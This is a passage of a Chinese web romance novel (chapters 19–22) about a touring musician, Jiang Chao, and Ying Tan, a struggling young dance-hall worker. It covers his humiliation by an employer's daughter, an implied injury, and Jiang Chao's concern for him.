林斯敬往旅馆走了几步,拿出手机,看了一眼。
谁都没有出声,空气仿若陷入了僵直。本已稍稍停歇的寒风愈盛,刮过干枯树冠时宛若惊嚎。
落在薄薄积雪上的影子重叠,林斯敬把手机放回口袋里。
“在等人?”
“嗯。”
“她叫你等她干什么?我去帮你催催。”
“……拿支药膏。”
林斯敬的视线落在他的身上,若有所思地“啊”了一声。
“药膏哪儿不能买,还让你在这天气里傻等。”
他像是有些无奈,“别见怪,她这人就这样。”
应潭没有回应,脸上也没什么表情。但他的下颌却悄然绷紧,探舌抵了抵后齿。
“你不知道吧?”林斯敬挪开目光,慢条斯理地接道,“她到哪里都喜欢当圣母。”
“见着过得惨的人,就走不动道儿了。”
“……”
衣着讲究的男人停下脚步,似笑非笑:“也不知道溱溱什么时候下来。”
“不然这样,我把药膏的钱转给你,你自己顺道去药店里看看,省得在这儿吹冷风——感冒了就不好了。”
明晃晃的侮辱犹如火烧。
少年呼吸渐重,眉眼覆上冰寒霜色。
……
风吹得人睁不开眼。
江潮一只手按着快被风刮走的毛绒帽,一只手拎着翻箱倒柜找出来的药箱,往外张望。
“找什么呢?”林斯敬站在院子里抽烟,转头看了她一眼,“七点的位置,老板们能动身了吗?”
道边空无一人,少年与摩托早已不见了踪影。
江潮微微攥紧药箱泛凉的握柄,收回视线。
“……没什么,”她回答,“我们走吧。”
19. 第 19 章
一夜起来,江潮感冒了。
她鼻子发堵,嗓子也变哑。刚好孤儿院那边的院长打电话来,听见她的嗓音,难免愣了一下。
“不好意思,我找江小姐……”
江潮从昨天刚翻出来的药箱里找出感冒冲剂,说话时带着浓重的鼻音,答了一声“我是”。
许甘他们都出去玩儿了,走之前饱含同情地说会给她带海鲜粥。房间里只剩下她一个人,江潮抱着平板电脑,处理基金捐赠的相关事宜。
通常情况下,基金申请需要通过一段繁复的审批程序,以确保这笔钱被用在了正确的地方。
但江潮是基金创始人的女儿,基金管理那边自然会给她大开后门。
“江小姐是不是有一段时间没回家了?”聊完正事,江文生的秘书徐姐笑盈盈地说,“江总最近常常念起你。”
江潮抿唇微笑,“最近有些忙。”
“年轻人是该多出去闯荡闯荡,”徐姐点头赞同,又惋惜道:“年会上的节目很精彩,TK的训练生排了舞,佳蓉、泉伶、一鸣他们也有表演。可惜江小姐没有来看。”
她说的这几位都是娱乐圈中小有名气的明星,其中泉伶更是江潮自幼喜欢的歌手。
热水烧开了,江潮泡好感冒冲剂,状作认真:“下次年会,我一定要从波士顿飞回来看。”
徐姐微讶,现在开始规划一年后的演出计划未免太早,她猜测:“是收到了伯克利的录取?”
看见江潮点头,她张口祝贺,又笑起来:“难怪江总近来心情不错,原来是托江小姐的福。”
放下平板电脑,江潮将感冒冲剂喝完。浅棕色的渍痕残留在纸杯底部,她出神盯着。
被录取的消息还未曾告知父母,她给母亲拨打视频。通讯在漫长的无人接听声响后挂断,她抿住唇,改成发送信息。
数小时后接到回讯,对方发来了三个大拇指。
跨年是在旅馆里过的,乐队四人聚在一起,开了直播。
直播结束,许甘笑嘻嘻地跟家里人打了个视频,陈勉跟女朋友煲了近一个小时的电话粥,林斯敬低头打字、手指不停。
江潮看了一眼自己的微信。
有许多则新消息,父亲公司中的艺人、上学时结识的同学、在音乐路上志同道合的朋友,分不清哪些是真心实意,又有哪些是客套的群发寒暄。
她一一认真回复。
新的一年开始,曲溪显然热闹了许多。学生们陆陆续续放寒假,旅馆老板的孩子也都回来了。
而乐队成员也开始准备回家过春节。
陈勉走得最早,一月初就回了家,说是要去陪对象。林斯敬本来想等大年初一再回去,结果一月中旬接到了家里的电话,说是爷爷进了医院。
许甘也订好了票,问江潮要不要与她同行。
江潮摇头拒绝,许甘嘟着嘴说“好吧”,又拉住她的手腕,“那这周末你一定要陪我去舞厅。”
许甘前些日子就想要去,只是林斯敬兴致缺缺,江潮生了病,她不好和陈勉单独去那种地方玩儿,只能一推再推。
如今再拖延就去不了了,许甘扯着江潮撒娇,终于得到一句答应。
到了旅游淡季,旅馆里住客走了许多。小茗处理完上一位旅客的退房手续,见江潮来续房,有点儿惊讶。
她知道与江潮同行的两位男生已经退房,问:“你不跟他俩一起走吗?”
江潮感冒缠绵许久,如今终于好全,难得馋嘴,从前台买了些辣味零食。
她拆开零食包装,点头:“我续到二月底。”
小茗在电脑里录入信息,问:“你过年不回家呀?”
“嗯,”江潮只简短答:“不回。”
闲聊之际有人进来,喊了一声“姐”。
江潮转过头。
一个高中生模样的年轻男孩拎着保温饭盒迈过门槛,在看见江潮的那一刹一个趔趄,险些绊倒。
小茗听到动静,腾地站起来:“邓斌,把饭撒了我跟你没完啊。”
男生扶着门框站稳,把饭盒放在台面上,一双眼睛频频往江潮身上瞅。
看见有旁人来,江潮礼貌笑笑,没再久留。
等她走了,男生忍不住问:“姐,那是我们这儿的房客啊?”
“对啊,”小茗麻利地打开饭盒,脸上顿露失望之色:“怎么天天吃炒面啊。”
她开了瓶饮料,又提起家里事,“姥姥说老母鸡可以杀了,你什么时候去村子里拿?”
邓斌不情不愿:“叫应潭去拿啊。”
“叫你做一点小事都拖拖拉拉,”小茗吃了口饭,烦道:“随便你。”
他姥姥家在村子里,坐完大巴还得走十分钟路。邓斌等着把保温饭盒带回去,走到一边,打了个电话。
通话没能接通,他不耐烦地骂了一声,又按下重拨。
反复拨打好几回,恼人的“嘟嘟”长音终于消失不见。邓斌不爽道:“喂?应潭,你怎么这么久才接啊?”
那头嗓音冷淡,“什么事。”
“我姥姥要杀母鸡,你去树平那边给我们拿上来。”
他的语气近乎是不客气的吩咐,而对方静默一刻,冷笑。
“还当我是你家长工?”
“你——”
通话被挂断了。
邓斌愣住了,震愕地盯着手机看,感觉心中腾地烧起了一把火。
当年应潭无家可归,住在邓斌家里。邓斌的爸爸觉得家里添了个拖油瓶,成天阴沉着脸。
最开始他只是嘀咕“半大小子吃穷老子,家里多了一个人,每个月都要多花钱买菜,你妈就是脑袋不清楚”。
后来他看应潭越来越不顺眼,每天都能挑出值得抱怨的事。
吃完饭为什么要用餐巾纸擦嘴,不能洗脸的时候顺便洗洗吗?每天晚上回来都洗澡,洗发水和沐浴露用得都比以前快。回家了也不知道帮他姑扫扫地洗洗衣服,搞得好像他们家欠他了似的!
这样的话听多了,邓斌对应潭也没了好脸色,见到他也懒得搭理。
直到有一回邓斌忘做作业,焦躁无措的时候,想起妈妈以前总说应潭成绩好。
他悄悄走出房间,拉开客厅里的小隔帘,摇醒睡在草席上的应潭,忐忑又蛮横地指使:“应潭,起来帮我写作业。”
那时候应潭忍气吞声的表情,邓斌至今记得清清楚楚。
邓斌怕他被爸妈发现,不许他开客厅的灯,叫他带着作业去外面街上。指使完了,他又担心应潭不乖乖听话,于是想尽办法威胁。
毕竟他才是这个家的主人,想对付应潭轻而易举。
第二天早上起
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床,邓斌看见应潭从门外进来。
他的这位表哥,一双狭长的眼染着冷意,眼底青黑一片,一言不发地递来写完了的练习册。
像是找到了一只听话的狗,又像是得到了一位百依百顺的仆人,邓斌渐渐习惯使唤应潭。
那时他洋洋得意,和朋友炫耀这件事。
可朋友扫他的兴,说这抬头不见低头见的,关系别搞得太僵,以后应潭有出息了,说不准会设计报复。
“他能有什么出息,”邓斌不以为然,“初中毕业的混混,以后不进局子就该谢天谢地了。”
“更何况应潭住在我们家,吃我们的、用我们的,给我做些事怎么了,这不是理所当然吗?”
后来邓斌上了高中、选择住校,没了这么一个能随时随地使唤的人,还觉得很不适应。
屏幕在三十秒的静止后自动息屏,邓斌回过神来,重新点开通讯录,再一次点击拨出。
耳边又一次响起漫长的等待音,他彻底没了耐心,点开微信,气急败坏地输入。
邓斌:你居然挂我电话?
邓斌:去树平给我拿东西!
邓斌:你是不是忘了你妈的嫁妆还在我家?
邓斌:你要是不去,我回家就往你妈的柜子上划一刀。老子说到做到,你要不要试试看?
手机振动不断,沙发上端坐着的男人睨了一眼,和蔼道:“看来真是很要紧的事。”
应潭已经出过一回包厢,说了声“抱歉”,低头调了静音。
恰好又有新消息弹出,屏幕亮起一刹,他瞥见信息内容,额角隐隐绷起青筋。
眉眼一刹生戾,再抬眸时却不见了踪影,应潭冷静张口,“您继续说。”
跨年那天晚上,舞厅里闹出了一件大事。
白老板在申城和人结了梁子,一步步蚕食对方的势力。对方怀恨在心,又难以抵抗,最后狗急跳墙,盯上了白老板在曲溪的小女儿。
白鑫桃险些被绑架,好在应潭习惯察言观色,发觉接送白鑫桃的司机有古怪。
白老板从街头混起,身边不缺能打的角色,独独看中了应潭的这份心细。他有心培养应潭,笑道:“鑫桃会把你带在身边,想来很看重你。”
“她的脾气有些古怪,”他顿了顿,暗示道,“但如果你能把她照顾好,白叔不会亏待你。”
男人平和亲切,眼睛始终带着笑,像是一位随和的长辈。
应潭动了动嘴角,扯起向上的弧度,一颗心却仿若沉在冬日冰凉的海水里,冷静到像是剥离了灵魂。
不过是有钱人想给孩子找一条看家犬。
他的大脑像是一分为二,一面感到荒谬可笑,另一面则迫使他僵硬奉承。
白老板满意靠近,覆上他的肩膀,嘱咐他“要好好干”。
在那一个瞬间,应潭忽地想起了不久前的平安夜,想起了那句其实并无多少底气的“以后一定会翻身”,也想起了男人皮笑肉不笑的轻视神态。
而某个近乎荒唐的念头仿若疤痕增生,出现得突兀,又冥冥中注定。
人被环境消磨,少年始终浑浑噩噩,却在此刻点燃了如同天方夜谭般的清晰野心。
——如果牢牢攥住了这一条沾染泥泞腥气的藤蔓。
那么最终抵达的尽头,是否能够触及高空明月?
20. 第 20 章
周末午时,江潮回到旅馆房间,便见许甘凑在卫生间的镜子前,比划着几件衣装。
见到她来,许甘眼睛不挪窝,嘴里唤道:“溱溱,快来帮我看看哪件好看。”
江潮走近,选了套她喜欢的款式。许甘满意拍板,又拿出化妆包,往脸上拍粉底。
她拿着化妆刷蘸眼影,眼睛一圈都被涂得亮黑。江潮靠在墙边吃苹果,忍不住笑:“怎么化成这样?”
许甘第一次尝试烟熏妆,被笑话了也不恼,笑嘻嘻问:“要不要也给你化一个?”
江潮举手投降,拿着苹果,小碎步挪走了。
她们下午去了舞厅,许甘还约了几个之前在酒吧认识的朋友。
这个时间,许多年轻人才刚刚睡醒,舞池里人并不多。江潮在旁侧坐下,一本正经:“我来给你们看包。”
许甘拉扯她:“不行,这次你怎么说也得下来玩儿。”
另一个男生也起哄:“姐,你去跳吧,这儿有我呢。”
来都来了,江潮不想太扫兴。她把外套搭在椅背上,起身,跟着许甘走下台阶。
场中似乎静了一瞬,应潭转眸瞥去,刹那间从人群里精准捕捉了她的身影。
江潮穿了件短款卫衣与深色牛仔裙,黑卷的长发披在肩头。
她今天描过眉、点过唇彩,又在眼尾带起浅浅一笔,浅淡而相宜的妆容,衬得五官比平日更加灵动精致。
即便是在曲溪这种小城镇,舞厅里也不乏漂亮姑娘。
可她与所有人都不同,像是与周围的一切格格不入。
骚动转瞬即逝,只于暗中引发不知多少跃跃欲试的视线。应潭靠在阴暗角落,看见不远处一个安保用手肘撞了撞另外一人。
“瞧见没?”那人啧啧,“咱们曲溪也是有美女的。比起明星都不逊色吧?”
另一人顺着他的目光望过去,骂道:“你唬老子呢?那也是个外地人,来这儿耍的网红,跟你们这鸟不拉屎的破地儿有什么关系。”
“嚯?真的假的?她账号叫什么啊?”
“我怎么记得叫什么,反正人就在对面街唱歌,我还听过几回。”
耳麦里有声音响起,女声慢悠悠地指使:“应潭,把门口的外卖拿上来。”
门口送来几杯奶茶,应潭沉默起身,拿了外卖上二楼。那两个安保听见动静,转头看了一眼,又开始窃窃私语。
“那家伙现在到底怎么回事?”
“谁知道,”另一人语气发酸,“长得帅就是有用啊,没几天就抱上桃姐大腿了。”
当初应潭还是新人的时候,话少还能干实事。一群老油条乐得自在,还会跟着其他新人喊几句“小应哥”。
如今应潭地位特殊,闲言碎语也随之滋生。他听得分明,却懒得理会。
他上了二楼,正好看见白鑫桃从包间里出来。她身边还跟着两个人,是她放假从申城过来玩的朋友,一位染着金发,一位打了唇钉。
“装修土得要命,”金发女生撇嘴,“比你家在申城的那间夜总会差远了。”
“这地方的人就喜欢这风格,”白鑫桃不以为然,转眸看见应潭,勾唇笑起来:“哎呀,终于来了。”
应潭走近,她抬抬下巴,“你们看,我这新跟班怎么样?”
那两个女生转头,视线上下扫过应潭。金发女生兴致缺缺,“你怎么不给他好好拾掇拾掇,这穿的什么啊,一股穷酸味儿。”
白鑫桃嘴边笑意淡下来,女生余光瞥见,又改口:“不过长得确实不错。”
应潭将外卖放下,沉默退至角落。
被评头论足的是他,他的面上却没什么表情,眉眼宛若凝结成冰,垂着的眼睫遮蔽瞳底深藏的阴戾。
另一人多看了他几眼,不知是真心还是奉承,“我倒是挺喜欢这一款。借我几天?”
白鑫桃神色又舒展开来,哼笑着说:“不行,我才刚使唤顺手。”
她拆开奶茶,插吸管喝了口,懒洋洋地倚在二楼栏杆边,视线扫过一楼大厅。
舞池中人并不多,她瞥见一个陌生又熟悉的背影,停顿片刻,眯起眼睛,目光紧盯着那处看。
直到那人终于转身,白鑫桃高高挑起眉头。
“我眼花了?你们认认,”她尾音同样扬高,“那不是群星娱乐的大小姐吗?”
群星娱乐的江大小姐,在申城二代圈子里算是个挺有名的角色。
都说她长了张女娲精雕细琢的好相貌,生了副天使亲吻过的好嗓子,小时候拍过广告,长大后登台表演过无数回,追过她的二代不知凡几。
……偏偏这位大小姐性格离奇古怪,高中一毕业就离家出走。
离家出走也就算了,青春期离经叛道的年轻人不在少数。
但她叛逆的方式堪称独特,不挥霍钱财、不独立创业、也不到处惹是生非,组了个没名气的糊乐队四处流浪,一年到头没回过几次申城。
“还真是她,”打着唇钉的女生面露惊讶,似乎想起了什么,八卦道:“听说这次群星娱乐的年会,江总带着小儿子出面了。”
“哈?他俩关系不是很差吗?”
群星娱乐过往的年会,江总向来只带着江大小姐出席。
有人说他想把女儿送进娱乐圈,有人说这是想保护儿子。也有人不知从哪儿得到了小道消息,称江总与小儿子两看生厌,自然不会携其出场。
白鑫桃猜测是第二种,慢悠悠道:“关系再差也是接班人,至少和江文生流着相似的血。总比捡回来的野种要强。”
“谁说的,”金发女生压低声音,“听说他们家偏心偏得很,江总曾经因为她把江小少爷打了个半死。”
另一个女生捂住嘴唇,讶然:“真的假的啊?”
旁人的家事总是令人津津乐道,更何况是这种不能见光的豪门秘辛。
白鑫桃目光跟随着女孩的背影,一双眼眸忽地亮了起来。
她唇角绽开笑,慢条斯理道:“江大小姐本人就在这里,你们有什么问题,直接问她不就好了吗?”
身侧两人面面相觑,神态都有几分迟疑。
相处已久,她们清楚白鑫桃的脾性,也知道她让人上来的原因,绝不会是寻常友善的结交。
但群星娱乐的大小姐并非那些校园中毫无背景势力的弱者,也并非可以毫无顾忌欺凌的对象。
白鑫桃却仿佛察觉不到她们的掂量与犹豫。她来了兴致,一改先前没骨头般的慵懒姿态,侧头抬了抬下巴,叫道:“应潭。”
“看见那个女生了吗?把那位江小姐给我请上来。”
她伸手一指,笑得灿烂。而走上前来的应潭若有所察,目光沉沉地顺着她指尖方向望去。
寥寥几句对话中便能拼凑起的猜测,终于在此刻得到证实。应潭眸光凝住,听见白鑫桃催促:“发什么愣,还不快去?”
应潭嘴唇弧度抿得平直锋锐,转身。
通往一楼的楼梯不长,平日里几步便能迈完,如今走下去却仿佛要花上一个世纪。
他于楼梯中段停下,大厅炸响的音乐只余一墙之隔,斑驳陆离的灯光同样近在咫尺。
白鑫桃不是好人。
应潭清楚地明白。
她是浸泡在毒酒里的蛇,如今又一次亮出了尖锐的毒牙。
拉长的倒影被台阶切割成无数段,明晰墙砖映不出他面若寒霜的神态。
“……操。”
应潭捏住鼻梁,齿间一字一句挤出一句脏话,用力闭了一下眼睛。
江潮从舞池中小步溜出来,回到座上坐下。
酒吧至少分清吧闹吧,能安安静静地喝些酒。这地方却不一样,来的人或多或少有些不正当的念头,抑或想要拥有一场浪漫交际,个个放荡肆意,扰得她有些心烦意乱。
同座的还有一位寒假回老家的年轻男生,是许甘朋友的朋友。他跟着江潮从舞池回来,笑嘻嘻道:“姐,你想喝什么?我请你喝杯酒吧。”
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林斯敬和陈勉都不在,江潮摇头,点了杯果汁。
服务生端上饮品,将玻璃杯置于桌上。江潮就着吸管浅酌,礼貌而敷衍地应对男生的缠问。
“姐姐你是申城人呀?我在申城实习过,你住在哪个小区啊?”
江潮不易察觉地蹙了蹙眉。
她低眸放下果汁,往舞池里望了一眼,温和微笑,“说起来,你能不能帮我找一找小甘?不知道她到哪里去了。”
话题转得并不用心,男生愣了一下,“哦、哦……当然!”
身边终于安静了些许,江潮扶住额侧。
她有些后悔答应来到这里,好在这一天终将过去,至少小甘看起来玩得很开心。
身边压下一片阴影,江潮微微抿唇,抬起眼,眼尾染着清浅的疏离。
撞入视野的却并非她所想的搭讪者,她微讶,“……是你?”
应潭站在那里,穿着舞厅的制服。他立于桌侧,指节抵着桌面,关节有些泛白。
江潮没想到会在这里遇见他,眉眼刻意描摹的疏冷散去,“原来你在这里上班。”
她丝毫不提平安夜那天他的不告而别,一双清凌凌的眼眸看着他,一如往常地弯起了浅淡笑弧。
应潭喉结滚了滚,“嗯”了一声。
他看她的目光却与平日里不同,像是藏着极深、极难辨明的情绪。
她眨了眨眼眸,察觉他神色的异样,“找我有什么事吗?”
“能不能……”
二楼走廊上投下的视线犹如寒针,应潭看着她的眼睛,难以克制地一停。
接着开口时,他的嗓音泛着浓烈的喑哑。
“帮我个忙?”
低语被掩藏在舞厅嘈杂的声响之中。
脚步声响起,白鑫桃晃悠着杯中仅剩的珍珠,笑容可掬地转过头。
“哎呀,瞧瞧是谁来了——”
刻意娇媚的嗓音滞住,扬起的唇角也一并僵硬。白鑫桃眼神渐冷,扫过应潭空荡荡的身后。
“……”她将奶茶放在一边,看了眼自己莹亮的美甲,“江小姐人呢?”
应潭静默几秒,答得平静,“有急事,走了。”
白鑫桃似笑非笑,“是吗?”
金发女生察言观色,开口解围,“算了,那些八卦也没什么意思。”
白鑫桃仿若未闻,弯起眼睛,眼底却不见笑意,“我让你把人请来,你就得把人带到我面前。”
“这么点小事都办不好——”她走近,手指点在他的肩头,“不如在身上刻个‘废物’好了。”
空气寂静一刹。
指下肌肉紧绷,白鑫桃笑盈盈道:“开玩笑的。”
她松开手,退后几步,眼底盛着明晃晃的恶意,“你才初中毕业,‘废物’这么复杂的字,估计也写不明白吧?”
“我就不刁难你啦,随便用刀子划几道就好了。”
另外两个女生对视一眼,头皮都有些发麻。
以前在学校里读书,白鑫桃没少干过用卷发棒烫别人手臂的事。
后来白鑫桃被送到曲溪,她们都以为白鑫桃或多或少会吸取教训,却未想到她反而更嚣张自在,毫无顾忌。
应潭沉默不语,而白鑫桃注视着他,又一转语调,怜惜道:“是不是很害怕?”
十七八岁的男生,位于男人与少年之间的年纪,浑身张扬野性未散,却不得不在她面前忍气吞声、低声下气。
“不然这样,”她觉得有趣,兴致勃勃道:“再给你第二个选择。”
“你现在出去,把那位江小姐追回来,我就算你将功补过——你看怎么样?”
应潭终于抬起眼。
那双黑不见底的瞳仁泛过一丝难以捕捉的讥嘲,眼底不见分毫惧色,像是被拔了獠牙,却仍旧不肯俯伏在地的野犬。
他似乎扯了一下嘴角,又像是没有。
“刀子难找,”应潭出声,语气淡淡,“用开瓶器吧。”
21. 第 21 章
江潮心神不定地坐在窗边。
刚才应潭找上她,说平安夜时遇见的那几个混混又要来找麻烦,能不能请她在外面找个地方看着,为他“报信”。
她认真答应下来,找借口把还没玩够的许甘带出舞厅,在街道斜对面找了家甜品店。结果刚出去没多久,就收到了应潭的两条信息。
一条“没事了”,一条“以后别来这间舞厅”。
两条消息自相矛盾地排在一起,怎么看都不像是没事的样子。可她一直都在注意着窗外,分明没有看见那些不怀好意的人进入舞厅。
江潮眼睫疑惑轻眨,把手机递到许甘面前,寻求解读:“这是什么意思?”
“这谁啊?”许甘瞥了一眼,惊呼道:“不是吧,你在舞厅里惹到谁了?怪不得把我们叫出来。”
“这家伙怎么这么嚣张啊,隔着手机放狠话算什么本事?溱溱你别怕,我们现在进去跟他好好理论理论!”
她挽起袖子站起身,一副雄纠纠气昂昂的模样,惹得其他几位朋友都纷纷看来,问发生了什么事。
江潮微窘,拉着许甘的手臂让她坐下,忍不住叹气:“……应该不是你想的那样。”
不远处玻璃门被推开,进来的顾客穿着一身黑色衬衫,与应潭穿的制服一模一样。
江潮注意到了他,视线情不自禁地飘过去。
……还有员工出来买点心,舞厅里应该没有发生什么事情才对。
那男人在柜台前站定,洋洋洒洒点了一连串甜品,紧接着在店里巡视一圈,在离他们不远的窗边坐下,翘起腿玩手机。
同伴玩起了真心话大冒险,兴致勃勃地拉她参与。她放下了心,眸光转回来,应了声好。
找前台借来的圆珠笔在桌面上旋转一圈,第一回合就指中了江潮。她掌心撑着脸颊,无奈弯了弯眼,“我选真心话。”
“我来我来,”有男生抢先出声,扬声问:“你对另一半有什么要求?”
许甘在一旁起哄,拿着手机笑嘻嘻地说我要录下来给某个人听。江潮稍稍垂眸,回答得不假思索:“不酗酒。”
“啊?就这?姐你说得详细一点嘛,比如长相外貌身高什么的?”
她笑笑,避而不谈:“一回合只能问一个问题吧?”
男生懊恼拍桌,又探身去够圆珠笔,一副跃跃欲试的模样。
许甘一眼看穿他的小把戏,护朋友地嚷嚷:“溱溱上回合输了,这回得让她转笔。”
江潮点头赞成,指尖攥住圆珠笔,轻飘飘一转,转到了许甘。
许甘震惊地瞪大眼睛,而江潮抿着嘴唇笑,靠回椅背上,拾起甜品碟侧的银叉。
她手指捏着银叉的细细长柄,切下一块甜点放入口中。绵软香浓的味道在舌尖泛开,一道粗犷的嗓音同时响起。
“喂?干什么?”
几米之隔的那个男人接起电话,语气不耐:“翘你妈的班,老子在外面帮桃姐跑腿。”
“——应潭?我怎么知道那小子干嘛去了?”
他音量不小,江潮又吃了一块点心,侧目。
男人骂骂咧咧地说了几句话,什么“偏偏叫老子出来跑腿”、“一整天吃东西没个消停”,紧接着话音一转,声音里掺杂幸灾乐祸。
“他之前下来的时候满手都是血,我看肯定是做错事挨教训了。”
“仔细想想,那小子也真他娘的是个奇人,为了赚点小钱什么都能忍……忍者神龟转世吧这是?”
银叉落在瓷盘上,发出清脆的一声细响。
男人点的几份点心被打包好了,拿着手机起身。江潮视线跟着他的背影,又侧头看向对街。
周围友人笑声不断,有人问了个很劲爆的问题,而对方的答案引得不远处的店员都忍俊不禁。
江潮站起来,弯腰在许甘脸侧耳语,“小甘,我先出去一下。”
“啊?溱溱你去哪?”
甜品店的玻璃门在身后轻轻掩上,江潮踏下店前矮小的台阶。
他口中提到的人,是应潭吗?
做错事挨教训,指的是有人去他上班的地方找麻烦这件事吗?
她担心自己或许漏掉了那些混混的踪迹。倘若是因为她没能及时报信,而导致他受了伤……
江潮咬住嘴唇,快步走向舞厅。
卖票处的人认出她的面容,见她步伐匆匆地回来,张口热情招呼,又问她是不是落下了什么。
江潮点了一下头,还没出声,便听到另一道声音突兀插入。
“落了什么?”
她怔了一瞬,转过头。
大厅里斑斓绚丽的彩球在入口处拓下一片光斑,震耳欲聋的音乐声穿过了薄薄的墙。
他神色寡淡地站在光斑里,见她怔神,又一次重复:“你落了什么?”
“我帮你找。”
江潮回神:“……不用找了。”
应潭不明所以地抬眉,听见售票处的同事笑眯眯地问她要不要继续进来玩。
他抬起的眉紧接着蹙紧,往后瞥了一眼,大步上前,握住她的手臂,带着她往外走。
江潮眨了眨眼,没有抗拒。
那力道不重,松松笼着她。而她安静地跟在他身后,走过狭窄昏暗的过道,直至天光重现。
出了舞厅,应潭松开了手,却没有止步。他走出一段距离,终于站定转身,低声:“不是说过不要来这里?”
江潮答:“我有点担心你。”
她坦诚认真,一双桃花眼微抬,一眨不眨地看着他。
应潭偏开脸,无意识抬手,用指节蹭了蹭脸侧,“我说了没事。”
一段时间未见,他身上似乎多出了些难以言描的变化。
平安夜那天的少年跨于摩托之上,恣意如将将沸腾的岩浆,又不知何时悄然冷下,化成沉寂的深黑熔岩。
江潮不太相信,视线下落。
他穿着黑衬衫,而黑色最能藏脏。无论是污渍、油泼,或是……血迹,都能被完美掩藏。
她又想起方才走出舞厅时握着自己的那一只手,没用上几分力道,甚至还隐隐不稳。
“……我可以看看你的手吗?”
他转回脸来,语调漫不经心,“没什么好看的。”
江潮抿住嘴唇。
第一次看见他受伤的时候,江潮被骂了一声“别多管闲事”,继而礼貌地退后一步。
第二次看见他受伤,她没有再问他要不要去医院,自己上楼找出了药箱,却在踏出小院时发现他已经远去。
这是第三次。
少年像是一颗顽固的石头,一次又一次地跌落开裂,似乎不怕终有一日摔得粉身碎骨,全身上下都写满了对自己的浑不在意。
枯树枝桠伴风轻晃,江潮站在树下,微微攥紧手指。
有捡废品的老人拖着推车经过,停在垃圾箱边,颤颤巍巍地拾出几只空瓶子。
江潮让开路,与他之间的距离缩短一寸。
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>鼻间腥气浅淡,她越过界限,触向应潭的左手。而他反应比平日更迟缓,侧开身时,江潮已经抬起手,看向指腹上沾着的深浓血色。
那截布料都被浸得湿软,她的心尖一刹那揪紧,“对不起。”
应潭知道自己身上血腥气重,退后一步。他站在道牙下,清楚地看见她懊恼的神态。
“道什么歉?不关你事。”
“那些人去舞厅里找你了吗?我没看见,是我的疏忽……”
“没有。”
他垂眸盯着路沿,散漫道:“我打碎了酒,被玻璃割伤,跟你有什么关系。”
江潮怔了怔,掐紧的指尖微松,“被玻璃割伤,会流这么多血吗?”
应潭沉默几秒,脸上没什么表情,“我皮薄,血多,易碎。”
“怎么了,不行?”
江潮眨了眨眼,迟缓地“哦”了一声。
方才隐约可见的紧绷情绪从她面容上散开,她静了一静,沉静镇定被重新拾起。
“……伤口深不深?还是应该去医院清理包扎一下。”
“如果有碎片留在肉里,之后会很难处理的。”
受伤对应潭而言是家常便饭。
年幼时父亲的脚掌被工地上的铁钉刺穿,躺在病床上,脸色如常地对他说,疼痛忍忍就会过去,再丑陋的伤口都会愈合。
这是第一次有人在他受伤的时候,用这种眼神看着他。
眉头轻皱、唇线抿紧,仿佛被伤到的人是她。
……又仿佛他也是一个活生生的人。
应潭沉默几秒,出声:“不去医院。”
“……”
他睨了眼她的神色,改口:“我随便找家诊所就行。”
虽然应潭说这件事与她无关,但江潮还是有些放不下心。
或许是因为少年身上浅淡的类自毁倾向似曾相识,又或许有一些别的原因。
她打了车,又打电话与许甘说了一声,和应潭去了诊所。
正值感冒易发的季节,诊所里有数位患者等待。
应潭近乎是被她监督着进了诊所,坐在候诊椅上,微微垂着眼,一副百无聊赖的冷淡神态。
江潮出去了一回,带回一小碗皮蛋瘦肉粥,弯腰递给他。
应潭以为她走了,低头扫向她手中那碗散着香气的粥,又抬头看她,没说话。
“先喝一点暖暖,”她说,语气有点儿无奈,“这种天气不穿外套,不冻吗?”
下楼的时候疼到近乎昏迷,在看到她的那一刹猛地咬舌,才捡回几分清醒。
那时候确实顾不上回休息室拿衣服,应潭垂眼,接过那一碗粥。
指腹贴着盛粥的塑料碗,滚烫的温度让冰凉的皮肤渐渐回暖。
应潭抬起碗,抿了一口。
鲜美滋味泛过舌尖,热意顺着喉口一路蔓延。血管仿若在一寸寸地解冻,连带着心脏跳动的声音都变得震耳欲聋。
应潭舔了舔唇,似是不经意间侧目。
她坐在一边,低头发信息,约莫察觉到了视线,转头问了句“怎么了”。
“不好喝吗?”
“……好喝。”
她弯起眼:“是隔壁街秦记粥品买的,我在那里吃过几回,也觉得不错。”
那笑容明媚温和,应潭喉结滚动,重新垂眼。
疼痛被抚慰,寒气渐渐散去,他坐在那里,低着脑袋,像是只收起了利爪的漆黑大猫,慢慢喝完了那一碗粥。
22. 第 22 章
江潮没有在诊所里久留。
她回甜品店与许甘汇合,临走前付了医药费。在店里刚坐下没多久,便收到了他的信息。
AAA出租时间:你付了钱?
AAA出租时间:[转账]
上一段信息还是她平安夜买水果时未曾被接收的转账。
江潮看着他发来的新转账,打字:是苹果的谢礼。
对方回得很快:那玩意不值钱。
江潮觉得自己可以想象得出他此刻的神态。
眉峰拧着,眼睛低垂,口中说不准轻啧了一声,扯唇轻嘲“大小姐不懂算账”。
他又发来一条信息,隔着文字透出冷硬:收钱。
怎么追着人让别人收钱,她无奈笑笑,点了收款,又故作高冷地发了个“哦”。
再抬头时,就见到许甘一脸诡异地打量她。
江潮收起手机,“……怎么了?”
“溱溱,”许甘靠近,盘问般的语气,“你到底干嘛去了?见了谁?在跟谁发信息呢?”
江潮眨了眨眼。
应潭的名字在唇齿边绕了一圈,又被吞回,她表情正经,“只是帮了朋友一点小忙。”
诊所外,应潭踏出门,甩了甩被包扎得结实的左臂。
刚才被老医生骂得耳朵出茧、昏昏欲睡,如今寒风扑面而来,他被冻得清醒,侧身避了避风,拿着手机看。
她回的信息简洁,只有一个单字。
他不禁蹙眉。
是生气了?无话可说了?他的语气太生硬了?
应潭来回翻看那几条简短的对话,犹豫着该不该再回些什么。手指在键盘上时停时动,还没做出个决定,屏幕突兀地黑了屏。
没电了,他浓眉间那道皱起的浅褶加深,盯着屏幕几秒,轻啧一声,把手机塞回口袋里。
时间转瞬即逝,正月初一将至。
许甘也要走了,叫了车整理好行李箱,站在旅馆门口,和江潮告别。
“溱溱年后见,”她笑嘻嘻道,“既然你不用去拜年,那下个目的地去哪儿就交给你咯。”
“好,”江潮眸光柔软,抱了她一下,“年后见。”
堆满零食的床头柜空了,洗手池边的护肤品少了,房间杂物清开半边,也随之变得冷清起来。
从前江潮在旅馆里偶尔会见到其他旅客,在将要擦肩而过时微笑点头。
如今旅馆上下都安安静静,像是只剩下她一个人。
江潮每日的生活一如往常。
她每天准时七点起床,在外吃完早餐,在街道上走走逛逛,回旅馆前偶尔会去买一袋子麦芽糖,在经过前台时与小茗分享。
